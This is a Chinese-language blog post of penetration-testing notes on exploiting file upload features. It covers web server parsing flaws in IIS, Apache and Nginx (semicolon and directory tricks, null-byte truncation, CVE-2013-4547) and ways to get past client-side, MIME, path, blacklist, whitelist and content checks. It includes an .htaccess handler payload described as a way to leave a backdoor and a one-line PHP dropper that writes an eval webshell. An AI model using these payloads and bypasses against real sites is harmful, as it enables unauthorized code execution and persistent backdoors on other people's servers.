文件上传

文件解析漏洞

一种容器脚本运行状态的漏洞
常见的容器windows下:apache、iis、nginx、tomcat

iis解析漏洞

  • 后缀解析:
    (iis 6.0)
    服务器误将后缀为asa、cer、cdx、asax、ascx的脚本当作asp脚本来运行,这就是解析上的问题,当我们上传文件时上传asp被拦截,可尝试上传这类后缀。

  • 分号解析:
    (iis 6.0识别截断到a.asp)
    格式:a.asp;.jpg

  • 目录解析
    (iis 6.0)
    格式:a.asp/a.jpg
    创建一个a.asp的目录将图片马a.jpg直接传进去,容器会将目录识别为asp文件。这个目录下的所有内容变成了asp文件的内容,无论后缀是什么格式,都会拿到asp脚本中运行
    (iis 6.0以上且针对php脚本网站)
    格式:a.jpg/.php 上传了文件之后访问文件以php格式运行,直接上传图片马就行
    asp脚本中如果将图片在新标签页打开后加上/.php呈现乱码或者500,那么可能存在解析漏洞

条件:配合编辑器使用getshell较多

apache解析漏洞

格式:x.php.zzzz.xxxdf 用于完整的apache 搭建的不行
容器从后后往前识别,读到php时会直接以php格式运行
phtml、php3、php4、php5、php空格、php|、php_ 一系列都会以php格式运行

htaccess文件解析

如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
<FilesMatch "*jpg"> SetHandler application/x-httpd-php </FilesMatch>
<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch> 不使用通配符*,指定图片以php格式运行
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件
适用于留后门

Nginx空字节代码执行漏洞

影响版本:0.5.0.6.,0.7 <= 0.7.65,0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
格式:xxx.php%00.jpg较少使用,更多以/.php来执行其中代码

图片马中插入代码:

<?PHP fputs(fopen('shell.php','w),'<?php eval($ POST[cmd])?>);?> 这句话执行成功后会生成新的shell.php

Nginx文件名逻辑漏洞(CVE-2013-4547)

受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.X

正常上传一个附加代码的图片"test.jpg",访问时后面+ "空格" + 0"+ ".php" ,即让图片作为php文件解析

格式:
"/test.jpg \0.php"
"Test.jpg/.php"

文件上传过程

上传页面查找

1.扫描目录 御剑等工具
2.爬行目录 爬行菜刀

可能是上传页面的目录
upload
upload.asp
up.html
upfile.asp
inc
include
admin
editor
ewebeditor
fuceditor
ckfinder
up
uploadfile

一定要扫描二级、三级目录,有些上传页面可能不在根目录而是在这些目录的二级三级目录下
使用上传页面字典

upload.asp
1.有上传接口
2.有浏览没提交
3.空白 (有可能是接受页面)可以从本地写一个提交页面给它

前台用户有的有上传需要先注册登录查看

文件上传流程

抓包、改包、上传

文件上传检测绕过

常见的上传检测方式

1.客户端javascript 检测(通常为检测文件扩展名)
2.服务端 MIME 类型检测(检测 Content-Type 内容)
3.服务端目录路径检测 (检测跟 path 参数相关的内容)
4.服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
5.服务端文件内容检测(检测内容是否合法或含有恶意代码)

解决:
突破js白名单限制,文件上传路径会把上传的文件名修改如/uploadfile/123523859.jpg,可以尝试使用x.asp;来截断如/uploadfile/x.asp;123523859.jpg,这样来配合解析漏洞绕过

客户端检测绕过(javascript 检测)

首先判断JS本地验证
通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们可以用burp抓包,在点击提交的时候burp没有抓到包,就已经弹框那么说明这个就是本地js验证。
绕过方法:
1.使用burp抓包改名
2.使用firebug直接删除掉本地验证的js代码
3 添加js验证的白名单如将php的格式添加进去

服务端检测绕过(MIME类型检测)

MIME的作用:客户端软件,区分不同种类的数据,web客户端使用MIME来说明希望接收到的数据种类
绕过方法:
直接使用burp抓包,得到post上传数据后,修改Content-Type成白名单就可以成功绕过。

服务端检测绕过(目录路径检测)

上传时找filepath,抓包后在此处修改(由于最终文件保存到这里,所以我们可以提前设置好)

如果是国外的站,可以上传文件但是没有执行权限,可以尝试写成../x.asp或者../admin/x.asp,在根目录或者一个可执行脚本的目录创建

filepath路径修改绕过

可以用来突破自动命名规则
比如你上传的时1.php,给你重命名为202412312.png
一、改变文件上传后的路径
/x.asp/(需要一定 的创建权限)
成功创建后为/a.asp/xxxx.gif

当前上传目录没有脚本执行权限 只是用来存图片的话 找一个可以执行脚本的目录 用../

二、直接改变文件名称
/x.asp;.
成功创建后为/a.asp;.xxxx.gif

注意:%00跟在x.asp后用于截断,一旦截断成功,原本上传的文件拓展名就失效了,用的是asp

绕过黑名单

1.文件名大小写绕过
用像 AsP,pHp 之类的文件名绕过黑名单检测
2.名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
3..htaccess 文件攻击 配合名单列表绕过,上传一个自定义
的.htaccess,就可以轻松绕过各种检测
4.上传一张图片抓包,用字典来跑后缀fuzz找到允许上传的类型

绕过白名单

1.%00截断
2..htaccess 文件攻击

双文件上传

特征:raw中出现js代码的,提交方式出现product、upfile之类的
利用:从这里开始
到这里结束
在结尾复制出换行粘贴,修改第二个文件的文件名,以免重复上传失效,一般对第二个文件操作,如修改文件后缀
注意:如果不行,把提交方式显示出的product改成other、photo等等来更换页面进行尝试

服务端检测绕过(文件内容检测)

1.jpg:JFIF
2.gif:GIF89a

表单提交按钮

有选择文件,没有提交按钮
可以修改html写入表单
添加<input type="submit">

上传漏洞分析(实验用)

phpv9 上传漏洞分析
tpshop 上传漏洞
phpweb 任意文件上传

posted @ 2024-01-25 17:56  4A16  阅读(22)  评论(0编辑  收藏  举报